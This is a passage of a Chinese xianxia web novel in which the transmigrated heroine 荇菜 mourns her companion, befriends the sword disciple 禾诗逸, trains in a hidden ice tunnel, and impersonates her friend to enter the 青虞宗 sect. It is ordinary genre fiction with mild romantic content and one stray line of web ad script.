“主仆一场，念在往日情分，提醒句：一旦固体的灵力消失，你就完全不存在，神识回归本体，成为他人的须臾一念，世上再无你的痕迹。”
“呵，我生来被人厌弃，遇到一个不嫌弃我的人属实不易。菜菜她很好，为了她，我心甘情愿。
法尊一向以戏人为乐，实则心境孤寂。若法尊有意，求你收菜菜为弟子。
毕竟，没有我，法尊也是要找人寻他的分身。黑羽侍奉法尊多年，肯求法尊帮菜菜解决功法难以自控的问题。”
摔在船尾的荇菜捧着晶球，心痛到留不出眼泪：黑羽，这就是你的选择吗？怎么这么傻，值得吗？
道生花见她一副要死不活的神态，弹指让她手里的晶球噗通入水。
荇菜猛扑过去，趴在船舷，扬手去捞，空余流水。
“呵，跳下去，兴许捞得着。”道生花眯眸笑着。
荇菜捏紧船舷，张口失语，倾过船舷的上身僵直不动：不，我怕死，我怕死……啊……
“啧啧啧，怕死啊。”道生花哈哈大笑，起身临风，望向一望无际的水天一色，察觉船身摇晃，笑得越发大声。他就这样笑等着，被身后的女人一起扑入水。
水没过两人的脸面，依旧阻挡不了道生花的疯癫笑声入耳。
荇菜巴拉他的衣袖使劲往水下拉扯，憋得一口气耗尽，张口就是无穷的水不断咽入肚。
她松开道生花的琉璃袍子，往上浮，即将出水的时候被道生花捏住脚踝往下拉。
人在水中低首，面对得是一张欠扁的笑脸。她使劲蹬他，都被道生花躲过。
张开的口被水堵住，双眼翻白的荇菜弯腰下游，一把揽抱道生花，在他凌乱浮动的衣袍中吻上他的唇。
荇菜发狠，拼最后一点力气和神智撬开他的舌口，妄图吸取他的空气。
一股强大的力量自道生花的胸前轰出，击在荇菜的胸腹。身体被力量猛击后退，飞出水面又砸回水下。
“咳咳……”荇菜没有死，空中的刹那缓了口气，巴拉住附近的船舷翻进舱。
她倒在窄小的船舱上咳水喘息，疯癫地呵呵大笑，一会又扶船舷坐起身，大喊大叫：“怎么，你怕了？”
道生花在水下抹唇，呸了声：“疯女人怎么可能是道生圣莲，疯子。”
荇菜倒在船舱，任由风浪带船飘离。
她不知道道生花会不会回来，但是黑羽肯定不会再回来。
数日后，船被水浪带进一处全是旋涡的水面，颠得迷迷糊糊的荇菜彻底昏过去。
醒来的时候，满天星光缀满滩岸水面，笼层银白星纱。
一道倩影在火堆前烤鱼，头也不回道：“醒了正好，鱼也好了，吃吧。”
荇菜撑坐起身，接过烤鱼，直直地看向背对的美人。
美人弯唇道：“大风大浪没要你的命，不会选择饿死吧？这种死相可难看了，听说饿死鬼入地府会一直找吃，可是怎么吃都吃不饱，就不停找不停吃，累得不行。做人就很累，做鬼还这么累，不值当。”
荇菜低头，啃鱼肉，有点焦硬，不如黑羽烤的鱼好吃，而且满嘴的刺，扎人。
“哎，哭什么呀？我说得是饿死鬼，你吃饱就不是了。”美人瞧她落泪，急得不行，“别哭别哭，我给你耍一套水雾剑法，保管美到你笑。”
荇菜想说河鱼好多刺，被飘逸灵动的剑光吸引注意。
剑光劈开星纱，扬起缥缈的水雾，如丝带般随剑流行，将美人衬得像是出尘的仙女。
美人见她终于不落泪，旋剑御气，水雾飘带扑向荇菜，绕她流转。
人从朦胧雾气中走来，清纯绝丽的面容直怼荇菜眼前，期待着问：“好看吗？”
“嗯。”荇菜点头，“这是什么剑法？”
“水舞烟华诀，专门用来放水烟花的剑法。”美人见她呆愣，哈哈大笑，“逗你呢。这是青虞宗的上品水系剑诀。化雾凝冰，将敌人戳成筛子。”
荇菜的目光撇过美人，水雾结成万千冰针，突飞向天，又垂直落地，扎进河滩泥地。
天色黑，地上的无数细小冰孔并不分明，但听风声就知冰针的厉害。
而且，冰针入体，融化成水，引导血液如注，加剧伤势。这是非常厉害的剑术功法。
“如何，我可厉害？”'');(window.adbyunion = window.adbyunion || []).push(id);})();
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“嗯。”荇菜木楞地点头，眨眼道，“你要收我为徒吗？”
“哈哈哈哈……没有啊。我想和你做朋友啊，我还没有合欢宗的朋友呢。”
荇菜的脸色瞬间沉落，撇开脸。
“哎呀，生气了？”
“偷窥人家的元阴，厚道么？”荇菜冷呼道。
“没有啊。我发誓我真没有。”美人举爪发誓，又道，“你的容貌有欧丝国人的特征，你的气质媚而不露、娇而不显，加上我救你时搭过脉搏，体内的灵力与你的灵根属性不和，八成是合欢宗的弟子。
我对这道没什么偏见啦。大道三千，殊途同归。若你真从此道上飞升，就证明你的道没有错。
大家不都走在道上吗？不走到头，又怎知你走的道是对是错？”
荇菜好一会才从这番话里回神，了悟到四字：强者为尊。等等，她说耍得是哪派剑法？
美人见她模样不像生气，坐到旁边，嬉笑道：“我叫禾诗逸，你叫什么？”
荇菜手里的鱼棍掉落，被禾诗逸眼疾手快地接去。
禾诗逸一脸小心，赶忙道：“我好不容易烤的鱼，不能浪费。”
荇菜又从她的手里接回鱼棍，应声后低首啃鱼。
“怎么，我的名字吓到你啦？或者，你听过我的名字？”禾诗逸猜测道。
荇菜咽下嘴里的鱼肉，觑她好几眼：长得真好看，性格也好，不愧是原书里最让自己喜欢的角色。
“我叫荇菜，没有剑仙朋友。”
“哈哈哈……剑仙不敢当。但是，从此刻开始我们就是朋友。我同你说呀，最近青虞宗收徒，山上山下全是外来人，闹腾得很。我偷跑出来躲个懒，没想到就捡了位美人朋友。哈哈哈，这就是缘分。”
荇菜被她的大气乐观感染，裂唇笑道：“嗯，我也没想到你是个怕麻烦、喜欢躲懒的美人。”
“哈哈哈……平时我在山上可不这样，我是大师姐，得做出一副清冷厉害的模样才能镇住下面的师弟师妹。可是这模样太累人，装得厉害，与我本性相去甚远。”
荇菜思索原书剧情，诧异道：“不是，青虞宗不是杀亲证道的宗门吗？”
“啊？”禾诗逸一脸惊诧，奇怪道，“杀亲……友证道？不是吧，外面这么传我们天下第一剑宗吗？”
“不是吗？”
“当然不是。天无私覆，地无私载。天怜苍生苦难，降日月甘霖；地生万物有灵，益天下生灵。有情天下，人岂可无情？
杀亲友证道得是极端剑道分子。青虞宗里确实有这么一支，不过就小拇指那么长一支，扬名在外也就那么一两位，却害得咱们青虞宗整个名声都坏了。
这些人也不是一开始就杀亲友证道，原走得也是通情天下道理的至情修真道途。后期走岔路，才走上灭亲断友的极端道途。
大爱无疆，无情非绝情。情至天下众生，在亲人眼里反倒是无情。
哦，一位修士真到杀亲断友的地步，无人敢同他做朋友。谁晓得同他交个朋友，会不会被杀了证道啊。”
荇菜点头又摇头：不对，朱琴天也不走无情道，所以得了禾诗逸的眼。我是劝禾诗逸修无情剑道避开朱琴天？
20. 第 20 章
“你是遇上什么难事吗？”禾诗逸撇开原话题，小心问道。
荇菜思量再三，还是把青衍镇外的青山洞窟经历说了一遍，略去穿书的剧情。
“朱琴天有纯阳之体护身，师姐一心复仇，以师姐所修的功法，无异于自投罗网。师姐又易容，我一时间也找不到她。”
“竟有这等事。你的师姐不救你还盗取你的丹药，你却想救她，傻不傻啊？这事包在我的身上，明日就是择师日。届时，我必不让这等男人进入师门。
对了，你说得朱琴天好像话本里的秦天啊。”
荇菜见她从储物袋里抽出本《烂黄瓜》，一时目瞪口呆：话本这么快就流传到山泽国吗？省去我将两者关联的任务。
禾诗逸翻到话本里男主入门这页，点在纯阳之体的字面：“此前我还在提醒师妹们小心这种烂黄瓜男人。天下男子如同这天下的乌鸦，一般德性一般黑。
没想到我们门里就要有一位。
走，你同我回门。”
“不是……”荇菜被禾诗逸二话不说拉上飞剑。
两人御剑往深山里的青虞宗飞去。
“你怕高？”禾诗逸好笑道，“你也是筑基后期的修士，怎么怕高？”
荇菜默然，吸收掉黑羽的灵力后修为又上升一个台阶。
“这些都是别人的灵力。”
“确实。修道人运天地力量为己用，合欢宗的功法也是掠他人力量为己用，异曲同工。虽然你把力量吸收入体，但没有变为自身的力量。”禾诗逸双指并剑一划，一道灵力劈裂云层，重见星月银纱，“力量该如臂指使，方为自己。你这可不行啊。”
荇菜极度诧异禾诗逸的想法，从她讲“道”的法门，到这句异曲同工“夺他人之力量为己用”，完全背弃正统的正道思想。
这瞬间，荇菜明白黑羽的牺牲行为：黑羽将我视为救赎，为照亮他的光甘愿做任何牺牲。此刻，禾诗逸也像是光，照亮我即将漆黑的道途。她说：“道无不同，走至终点才知对错。”
云纱缀雾的世界在荇菜的眼前豁然明亮，露出点亮黑夜的星月。
“啊……”
她激动地大喊一声抒发内心的苦闷，双手外展，兰花指上凝聚灵力，随手一划，扰动空中的灵能。
两人脚下的长剑蜂鸣，禾诗逸一个不防乱了方寸。
“哎哎哎……”禾诗逸被四周的灵力所扰，脚下长剑蜂颤翻飞。若非她经验老道、定力足够，两人怕是要掉下去。
她卸掉荇菜捣乱的灵力，重新稳固飞剑。
荇菜心有余悸，紧紧地环住禾诗逸的纤硬腰肢。
“吓死我了。”
“你在吓我。咱俩要是摔下去，不得成个分不开的肉饼啊。”禾诗逸拍胸脯道。
“噗，对不起啊。”荇菜又想笑，又是汗颜，“这门合欢功法的功用方面多是惑术，没有一点实际应用的法术。对于灵力外释、使用的修习方面，我是门外人。”
“这不就是说，你没学过法术？也无法控制体内的力量外释。
这样，我带你去川江渊，那有一条地底冰道，可助你运化体内力量为己用，效果甚好。我在里面待到金丹才出来。”禾诗逸调转飞剑，往远离岛心的方向飞去。
川江渊是一条特别的河流，从青虞宗上方的浮岛落下川水，汇合岛上山川灵脉的水力，注入内海湖。
禾诗逸落地收剑，拉住荇菜的手腕，边走边道：“别怕，我送你进去。待你出来，定能掌握自身的力量。”
荇菜拉停她入渊的脚步，担忧道：“这不好吧？难道这里不是你们的师门禁地，放我进去合适吗？”
禾诗逸一脸理所当然：“有什么不合适，我们不是朋友吗？哦，你怕师门长辈责罚？放心，我是掌门大弟子，祖父又是宗门元老，怕什么？”
“……”禾诗逸的背景有这么硬？大师姐不是白喊啊。
荇菜还没从原书剧情里挣脱出来，被禾诗逸拉进川江渊的水下。
日前她在水下被道生花折磨，一入水就本能地拖住禾诗逸的手臂。然而，水流不侵，两人周围像是有结界屏蔽渊水。
禾诗逸取出碧绿晶莹的避水珠塞入荇菜的手掌，带她穿过水下石门，入了一条四面冰墙的甬道。
“好冷。”荇菜抱住双臂，人也反应过来：我就这样跟第一次见面的禾诗逸到这上天无门、下地无路的冰窟？天啊。
“这就是我说的川渊底下的冰道。在这里修炼，不仅可以激发人的潜力，而且能逼人运灵通经，熟练灵力。走。”
禾诗逸走前几步，回头见人杵着不动，不解道，“太冷吗？”
荇菜摇头，实诚道：“我怕你把我卖了。”
“哈哈哈哈……咱俩不是一见如故、脾气相投，可以生死相托吗？你这会想起来会不会太晚？”
荇菜也笑，跨步走近：“不晚。因为我的功法，女子也躲不了。”
“真得吗？不如我们试试。”禾诗逸的双眸闪亮，猛扑过来。
荇菜吓一跳，闪避一旁，快走道：“你疯了。”
“我说真得呀。天资太高，修为太快未必是好事，多数天才都走不到头，有时候该停下来歇一歇。”
荇菜被她的水仙言论彻底打败，讲句话还顺带夸自己是天才。
“你……不应该是这样啊。”
“我应该是怎么样？气质冷若冰霜，脸面艳若芙蕖，出手雷厉风行？呵，那是山门人眼中的大师姐禾诗逸，岂会是阿菜眼中最真实的我呢？”
“别叫我阿菜。”原来禾诗逸也有苦恼，身居高位，硬披一件人人能接受的袍子，活不出本心所向的自己。
荇菜的脑子里以往留下的禾诗逸印象被眼前活生生真性情的女子颠覆。若说她更喜欢哪一个禾诗逸，那么一定是眼前这位。
禾诗逸眸光浮水，越发大声道：“阿菜阿菜阿菜……”
“行行行，被你打败了。”荇菜刚应下，被禾诗逸拉着进入冰道的深处。
两人立在一处氤氲热气的温灵泉前，身后甬道是森森冰墙，眼前的活水生烟缥缈，与甬道口形
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成完美的环流冰火双景，当真是奇妙之地。
“这里不冷吧。不过，你一出这温灵泉就绝对会感觉刺骨森寒的冷。所以呢，这里修炼的秘诀是……坚持不入温灵泉，勇敢地走进冰道。”
禾诗逸指向走来的冰窟甬道，又指向洞窟内的一潭温灵泉，“阿菜，我知道你是合欢宗的弟子。如你所言，不曾入法术的门道。
青虞宗门也确实有规定，不能把剑术外传。但是，若你在这里悟出剑法就是两回事。你且仔细看甬道的左右上下的冰墙。”
荇菜好奇地摸向一道凹面、一侧凸面的冰层，思绪如电光：“这些是剑痕，但是洞内温灵泉泛热气，融化冰层，又因甬道冰冷凝结冷气，将剑痕锁进冰层，永远保留下来。”
“聪明。告诉你个秘密，我的水舞烟华诀就是在这里悟出来，而凝雾成冰之法……”禾诗逸闭口，笑道，“与你说太多，反倒不利于你参悟，恐会影响你的判断。”
荇菜莞尔，六感灵敏，察觉到禾诗逸的真心实意。
“谢谢你，阿逸。不过，水舞烟华诀？不是青虞宗的上品水系剑诀吗？”
“哈哈哈哈……水舞烟华诀是我取的名字，对外可不能这么喊，得正经点。你像是在喊我阿姨，我是不是长了辈分？”
“女孩子被叫阿姨，可不是多愉快的事。”荇菜挑眉。
“难怪我觉得哪里怪。有你的，不吃亏，哈哈哈哈……对我脾气。”禾诗逸取出一只桃粉底色缀翡翠花边的荷包，往里塞杂七杂八的东西。
她边道，“如今有你这么个漂亮的侄女，阿逸我总算可以把这只不符合大师姐身份的漂亮荷包用上。你拿着它。
三日后，我再来看你，给你送些吃食。”
荇菜接过花里胡哨的小荷包，有些语哽。
原来这世上真有萍水相逢却以诚相交的事。
她想起穿书前的自己，捡板砖帮陌生人，禾诗逸也是这种人。所以，两人才这般心心相惜，脾气相投？
“感谢的话就不必多言，说多见外。
你说自己是法术的门外人，荷包里有一本烂大街的法术诀，你将就看。此外，功法方面得看你自身所学。我帮不上忙。”
“足够了，阿逸，谢谢你。”荇菜一把勾住她的脖子，狠狠地亲在禾诗逸的脸颊。
禾诗逸裂开唇口，笑得眉飞色舞。
“合欢宗的姑娘就是多情。我走了啊。对了，这地方平日没人来，若真有人来，你就报我的名字，无人敢欺你。”
“嗯。”荇菜重重地颔首，入目的飞扬笑容也感染她疲累的身心。
禾诗逸走后，寂静，突如其来。
荇菜环顾点亮冰窟的莹光明珠，步入温灵泉旁，缓缓地席地而坐。
温热的湿意浸透衣衫，难过的心情刚升起就被温灵泉的湿热击退。
待在这样的地方，世界唯于一人，黑羽这个名字随甬道沁出的寒气盘旋在周围。
荇菜意义不明地笑几声，喃喃道：“黑羽，值吗？”
无人应答。
21. 第 21 章
时间一分一秒地过去，温灵泉和甬道的交接口形成的阴阳环流聚合到一定程度，溢出的多余气流一部分凝成水，顺温灵泉的石窟面汇成水滴滴落，于寂静里发出滴答声。
另一部分被吹进结冰的甬道，凝成冰墙的新外壳。
这像不像两种内心情景？
小水滴汇集成河，流入温灵泉，成为一汪氤氲水汽的泉水，如人的心情，表面平静，底下已沸腾如浆，汩汩不绝。
冰墙甬道得那边是抛却的过往，舍弃的记忆被冰封入墙，永不再翻腾。然而，它不存在吗？不，它们只是被冰封，永远留在那。
荇菜悟出这番道理，对黑羽的愧疚、曾经生出的爱意，两者寻到一个平衡点，心情也渐趋平静。
爱过，池水沸腾。记得，永远冰封。
“黄椒，听得到吗？下一次，我会留下他，冰封他们。”荇菜垂目手腕上的三只铃铛，摇晃后发出悦耳的撞击声。
惊蛰的佛珠散溢出清神的佛音，稳定荇菜的心境：禾诗逸说得对，走在道上，不到终途，怎知对错。力量，谁能不求？
时间悄然流逝。
荇菜的心神在某一刻豁然松散，跳起身：“禾诗逸成朱琴天的后宫，作者用十多万字描述这段剧情，气得我直接弃文。”惊慌道，“糟了，阿逸不会和朱琴天不打不相识，生出感情吧？”
来回踱步，又气怒地坐下，自言自语道：“阿逸还会再来，我再问她情况好了。我在急什么？世上有比自身强大更值得急切的事？”
荇菜再次凝神坐定。这一次扛到自然清醒。
她环顾四壁，抿唇发笑：这里真是个闭关的好地方，水滴声、环流形成的风感，让人忘记外面得一切烦恼，只专心于自身。
“我来到这个世界，第一次知道杀人不会手抖；睡了男人，不生愧疚；男人死了，遗憾他们不能再见亲人，却不再觉得自己有错。
森林的夜晚无法令我心生恐惧，独行官道不曾让我惊慌失措，幽闭的环境里我不会发疯癫狂……甚至享受这一切。
倘若我能够抛却人伦道理，又有什么能束缚不羁的心？”
荇菜侧目温灵泉，褪下过往的旧衣衫，赤足踏入泉水。
柔滑温热的水浸润肌肤。
《还阳功》第一篇第四章：夺天地自然之气，道转阴阳。
四周的灵力在功法的引导下盘旋成阴阳流状的法印，汇集在荇菜的周围。
甬道内的力量平衡被打破，寒气蔓延整个冰墙甬道，开始一点点地冰封通道。
在甬道即将被彻底封冻那刻，温灵泉的水悄然沸腾。
《还阳功》第二篇第二章：大道生津，润泽万法，归宗于妙。
外释的炙热灵力直扑结薄冰的甬道，至柔克刚强，炽热焚寒凉，通道再次被打通，凝出的水落地后在两侧堆起一条长长的冰棱道。
荇菜在温灵泉里睁眼，起身时被刺骨的寒冷包围。难怪禾诗逸说一旦入池再起来就痛苦万分，果真不假。
颤唇咬牙，运灵力于周身。手腕上的铃铛震响，荡出一阵悦耳音波。
好听，但没用，不能驱寒。
荇菜用黑羽教的祭练法，以灵识绑定禾诗逸送的荷包储物袋，一眼观尽袋里的物事。
一套浅粉、一套翠绿的裙衫鞋袜，配套色泽的头面妆饰，一柄小巧含晶莹粉光的宝剑法器、一本五行术法诀。
荇菜想起禾诗逸穿得是白色内衬、浅蓝外罩。白色代表纯洁，蓝色代表沉稳，而荷包里装得不是粉就是明亮的翠绿。
“原来她真正喜欢得是粉色和翠绿，却因身份使然，不得不穿稳重的颜色。这些是她的私藏吧。”
荇菜选择穿翠绿色，装扮一新后对泉水自照，有了十五六岁的青葱感觉，只一双眼里没有纯真，像是历过千帆的老辣。
“好像老妈啊，背后二十八，正面么……”
脑海里浮现欢情诀，眨眼敛精，眸光纯澈若水，良善得像是婴儿般纯净。
“糊弄糊弄些小年轻倒是够。”荇菜取下手腕上的铃铛手镯，忆起项檀的右鬓眉尾有一道红旋，惊蛰也有这么个痕迹，而黑羽不曾有……独特的右鬓眉尾红旋是黄椒的分身记号，但不是每个分身都会有，有可能没有。
她把透明的雕羽铃铛镯套入左脚的脚踝：“今日起，赤脚得不怕穿鞋。金荇菜同你们杠上了。”
五日后，冰雾缭绕的洞窟内传来一阵清脆的铃声，叮叮当当犹如金玉相击。
禾诗逸刚入甬道就被铃声引得头晕眼花，运转灵力相抗才稳住心神。也要谢里面的人没有争对性发力，不然就迷糊过去。
“呵，好侄女，你是在怨阿逸没有守约吗？”
薄雾里走来一位朦胧的赤足女子，左脚上透明的羽镯铃铛衬得她姿仪缥缈，如雾轻扬。
禾诗逸的眼前一亮，兴奋地喊：“阿菜，你……在飘？”
“你来了。”荇菜从雾里飘出，扬手绕灵，散去周遭雾气。双足落地，踩上乳白冰面，衬得她的双足微微泛红，在翠色裙摆的轻柔衬托下越发玲珑美妙。
“嘶……足若芙蕖胜仙姬，好美好厉害。怎么做到啊？”禾诗逸随喜赞叹，游步上前，长臂一揽，入了荇菜的腰肢，
五指用力微握就将人横抱，喜欢道：“真好看，真美。美人怎么能落地下凡，双足染尘，凭白污了这身圣洁。”
荇菜嗤了声，勾着她的脖子，眼波流转生情，了然道：“我百分百确定你是一只颜狗。”她的笑随心写意，几分清雅几分魅惑，流转为一种不可方物的美。
禾诗逸看呆，人的美从内而生，从骨而发，如玉之通透，月之皎洁……妙不可言。
“回神。”
“啊，什么颜狗？我觉得你真美，在岸边第一次见你时，我一脚翻过你的脸就愣住。呃……”
荇菜哦了声：“若我没有这张脸，你是打算把我扔回水里去？”
“哈哈哈哈……怎么会呢？至多拖你上岸，自生自灭。哈哈哈……不会啦，你长得这么好看，比瑶姬师妹美千万倍，瑶姬都有人怜惜，你更不在话下。”
荇菜的注意力瞬间被“瑶姬”两字吸引，掌心微用力，一推
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禾诗逸的肩头，旋身落地收拢裙袖。
她的明眸直射禾诗逸，实则盯在虚无冰墙。通身不怒含威的气势让禾诗逸愣了瞬息。
原书里，瑶姬是师姐金花在服用鸳鸯丹后的化名。青虞宗的拜师大典上，瑶姬被九霄剑尊一眼认出女身，眼缘到了，就收在门下。
“那个……朱琴天？”
“他啊，外门弟子。”禾诗逸一副不在意地挥挥手，旋步凑近，嗅着荇菜冰凉中透出的温热芳香，“像是石兰的芳香，淡雅优美，不会是合欢宗功法里修练出来的体香吧？”
荇菜睨她，一指点中她的额心玉门。指尖触及后生出些诧异。
法术诀一书里记载：法术由灵力挥发，灵识控制，灵识出入口就在额心神门。一般人不敢让人点在额心，灵识入口的关窍穴位，类似太阳、百会、涌泉等大穴，可致人生死一线，岂可随意让人指点。
“你……”
“我不问便是，功法乃宗门秘籍，不可外泄，我懂。
对了，我用纯阴石试探过朱琴天，确实是纯阳之体。这种体质比较特殊，适合修炼青虞九阳的纯阳剑。”
荇菜莞尔，又奇道：“这般资质，怎么去外门？”
“呵，”禾诗逸得意道，“他确实被九阳剑尊相中，同九霄剑尊手下的纯阴之体的瑶姬师妹十分相配。
两位剑尊在我面前讨论日后结亲。我一直用观气术望朱琴天，多嘴说句他的气息不纯。
九阳剑尊瞬间发现他已失元阳，入道前不检点。悄声说一句，九阳剑尊也是纯阳之体，修炼纯阳剑诀，至今……咳，还是童子鸡。朱琴天这情况，他自然瞧不上眼。
朱琴天也是撞大运，差点又被九霄剑尊收去。不过，瑶姬师妹霸道，央九霄剑尊放弃朱琴天。这不，他就沦为外门弟子，哈哈哈哈……”
荇菜遗憾没有亲见这一波三折的收徒大典，好好瞧眼朱琴天那张失落愤懑的脸孔。
这时候的瑶姬也没对朱琴天情根深种，一心想报复他。收徒大典上，她能央求九霄剑尊不收第二位弟子，真是本事了得。
然而，不怕恶人设计搞坏，只怕天道让事情生出反转。
朱琴天的情况越来越像废材流男主强大前历经磨难的范本，兴许他真有一天偶遇奇缘，一朝成为大能，翻身农奴把歌唱。
“夜长梦多啊。为何不直接逐他离宗？”
禾诗逸抱胸道：“说实话，他确实有些资质，过三关拜师。贸然逐出宗门，于理不合。现在得他也没成根烂黄瓜，于情上，就这样逐出宗门，难以向众人交待。
我就先将他扔在外门，等过一段时间以他情状再决定去留。
他人长得不难看，对门中弟子还算客气有礼。因我看不惯他，有师弟师妹为难他，他也不还手，一副好脾气忍耐的模样。
若非有《烂黄瓜》在前，你的提点在后，恐怕真得很难让人觉出他是滥情的人。”
荇菜从禾诗逸的身上看出大气，以及大师姐秉公处理的姿态。禾诗逸的为人当真是无可质疑。然而，正因为这样才更让人担心。
22. 第 22 章
荇菜敛去眸光里对朱琴天的恨意，婉约道：“世间男子多以有情自居，以多得女子青睐为傲。又有多少女子能从强者的光幕下走出来，大多飞蛾扑火，难以自救。
若有一天朱琴天凭借他的体质和本事立于众人之巅，你们还会觉得他是看不上眼的烂黄瓜吗？”
禾诗逸愣怔，想象下那画面。
她认真道：“阿菜，没有一个人会没有敌人。若朱琴天真有那一天，依然会有人与他为敌，像是这话本里的主角。”
荇菜见她掏出《太仲》一书，已经见怪不怪。
她抽眼角，郁挫地呵笑：“朱琴天会成为太仲，太仲的敌人又是谁？”所以，道祖天尊黄椒的设定是大男配？哈！
“朱琴天肯定不能成为第二个太仲。”禾诗逸晃着话本子，“太仲天生聪慧，从不遮掩。作者创作的太仲原型是天龙道至高无上得那位。他也有敌人，听过‘天龙掌生，三生送死’的民话？那位的敌人是海外三生道。
朱琴天么？以我对他的观察，此人藏头露尾、自作聪明。有时候聪明反被聪明误。九阳剑尊当面询问他为何已失元阳？结果，他说与家族未婚妻情难自禁，情到浓时使然。
若非我提前知道真相，真有可能被他糊弄过去。总之，这人的虚伪已是板上钉钉。
啊，我已经假得好辛苦，怎么可能看得上他的假。”
“……”这是什么奇怪的道理。原来收徒大典上还有这么一出好戏，九阳剑尊真是妙人。
荇菜注目剑气横扫甬道冰棱冰笋的禾诗逸，对于她的脑子真是刮目相看。
禾诗逸正经时条理分明，头头是道；歪起来时，一分道理也能说得天花乱坠，令人信服。
荇菜心道：你看不上朱琴天更好。
她记得青山洞窟里发过的誓，一剑之仇非得用男主角的修真道途来换。
断他修行，得他资源。
朱琴天的资源：纯阳之体、青虞师门、诸多后宫女子、历练机缘。
纯阳之体让朱琴天能够拜入九阳剑尊的名下修习纯阳剑诀。但是，如今已经不成了。
不过，纯阳之体稀缺，时日过去，九阳剑尊或许会破格再收朱琴天。
【我得阻止此事发生，才能阻断朱琴天的登天之途。】
朱琴天已经入青虞外门，拜师不成功，无法从宗门得到最好的资源。
至于他的后宫女子，一个发达不了的男人怎么可能再入师姐瑶姬的眼呢？瑶姬是慕强之人。
女二禾诗逸……荇菜对此又有些信心。
“阿菜，不必害怕。”禾诗逸清理完冰棱，见荇菜发愣，笑道，“若我们强到可以俯视他，朱琴天再如何厉害也伤害不到你我。”
她挽上荇菜的手臂，亲昵道，“我们是朋友，我会保护你。走，我们进去，看看我给你带来什么。”
荇菜被她的话点醒：自身足够强大就可俯视、无惧朱琴天。
这是正统仙门教人的方式。
她看着禾诗逸的脑后坠饰，飘扬而起的秀发，翻飞的蓝带，阴郁的心情瞬间明朗。
荇菜会心发笑，诚挚道：“谢谢你，阿逸。”
“不是说了，言谢见外，不必客气。”禾诗逸头也不回道。
温水泉旁，禾诗逸取出菜碟和灵米饭，以及两壶酒，瓶身贴条：星辰碎。
她喜滋滋道：“为了我们相识，我特地偷了爹的酒——星辰碎。听说这酒入喉如同星陨撞击，气破星辰。总而言之，烈，非常烈。
今日是你我相识的第五天，祝贺你悟到……如梦烟身法，如梦如烟如枝上花开，妙哉。”
“如梦烟？你真是喜欢取些中二的名字。好，干杯。”荇菜顺她心意，与她干了一口。
酒水入口清冽，入喉热辣，宛如吃口烫嘴的麻辣锅，一股炙热的酒气直冲天灵盖，轰得人眼花缭乱。
“好厉害的酒。”
“嘶……确实，不愧是我爹的极品私藏。再来，干。”禾诗逸从未如此尽兴大胆，遇上荇菜，奔着合欢宗三字就敢放浪一回，一尽酣畅人生。
大半壶酒入肚，两人不用灵力泄酒劲，俱是昏昏沉沉。
禾诗逸觉得热，脱了外罩裙衫下池，温灵泉本身温热，却恰好让她觉得舒服。
她迷迷糊糊地招手：“阿菜，下来，舒服舒服。”
荇菜在岸上眯眸，眼泛紫波流光：“不下，你上来。”
禾诗逸坨红两颊，在热气、酒气的熏蒸下眯眸发笑：“上来就上来，我还不信拉不下你。”她跌撞上前，一把扯住荇菜的手，瞧入她潋滟的眸光，迷迷糊糊道，“你这眼睛真好看。”
“是吧，这是惑术，我在诱惑你。”荇菜迷瞪地朝她笑，一勾手就将禾诗逸拉上岸。她拥抱着禾诗逸，上下其手，喃喃道，“五天里，除如梦烟，我还悟出：人生放浪，合该及时行乐。”
她的身体与禾诗逸的饱满紧紧相贴，两人目光相触，不知不觉就亲上了。
与男子的硬朗气息不同，女子的柔软优势，更通达彼此的心神。
忘乎所以的两人越亲越斜，靠在柔滑的白石上，叠覆叠。
禾诗逸的双足垂进温泉水，渐渐地蜷缩脚趾，荡出涟漪。
她被荇菜的力量压弓着，后背湿滑，一个大力，双双滚落温泉水。
荇菜从水里站起来，脑子清醒几分。
她看向缠来的迷糊禾诗逸，失口喊：“阿逸，你醒醒。”
“阿菜，好舒服，再来。”
荇菜妈呀了声，往旁一躲后游开，跌跌撞撞得从侧面上岸。她运转灵力，卸去一半酒劲，御灵勾住禾诗逸的绥带，将人拉上岸。
“呼……这该死的还阳功第二篇第三章：道生阴阳，逆阳运阴，促法生情。这简直是荤素不忌。”
她举手看双掌，呵呵嗤笑，“无时无刻不在运转的情引，男女皆被吸引到动心，真是好厉害的功法。”
禾诗逸泡了温水，酒气越发蒸腾，已经睡死过去。
荇菜给她脱下湿衣，换上桃粉色的裙衫，触及雪白的饱满、幽秘的隐境，深吸口气后沉心闭目，专心替她穿戴。
整理完后，她观赏粉粉嫩嫩的禾诗逸，轻呼口气。她勾下这姑娘的挺翘鼻尖，揉了揉粉嘟嘟的饱胀红唇，点了下：“傻阿逸。”
荇菜的目光落在一旁的腰牌，拿起禾诗逸的蓝白裙衫，抿唇道：“阿逸，我得去找下师姐，无论如何我都要弄明白一些事，借你的衣衫和身份一用，待我回来，定向你谢罪。”
禾诗逸眯眼望向甬道上离去的明翠背影，无声喃
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笑：傻阿菜，你就这样去，不知道会被哪个不长眼地砍成多少块。
绕灵于指，勾勒一道金色的传音阵法，喃喃轻语入阵法。片刻后，灵光消散。
“啊，好困，我再睡一会，不辜负你给我换得这身粉粉裙衫。”禾诗逸一个翻身，枕在光滑的石笋上睡过去。这里可是她的常住地。
荇菜用悟出来的如梦烟身法，飘飞入青虞宗的山门，再有禾诗逸的身份牌子，直接穿过宗门结界。
山道上驻守的弟子晃眼荇菜腰间的牌子，落目在她玲珑戴镯的双足，诧异过后纷纷撇脸，又紧张的正身弯腰，向她行礼。
荇菜轻咳一声，用身法快步上山。
青虞宗三个大字雕刻在古旧的入门石牌上，犹如鬼斧神工，颇为威严。
石阶两侧的草木葱郁盎然，瞧来是颇有些年份，也说明青虞宗是历史古老的宗门。
飘忽身影穿过石牌，入青虞宗的广场。
《玉石还阳功》里的四大术：惑、驭、心、神。
惑的修炼重点是眼睛，驭的重点在声音，心在于“气”，神在于“质”。
心、神一道，意在夺他人的气息，幻化神貌气质，以此保证施术者的性命。
“大师姐，剑尊正在找你。”一位年轻的剑修姑娘突然在荇菜身后喊道，歪头注视她的赤足，“大师姐，你的鞋子？”
荇菜暗吸口气稳住神色，以口蜜中吸来的禾诗逸气息运心、神双术。
转过身时，她在小剑修的眼里就是禾诗逸本尊，不过是不穿鞋的本尊。
她学禾诗逸的情态大方站立，正经脸问：“哦，哪位剑尊？”
“九阳剑尊。”小剑修答完，灵机一动道，“好像是为日前大师姐当众说朱琴天气息不纯一事。大师姐，大家都在传你是不是看上朱琴天，嘻嘻……你的……”
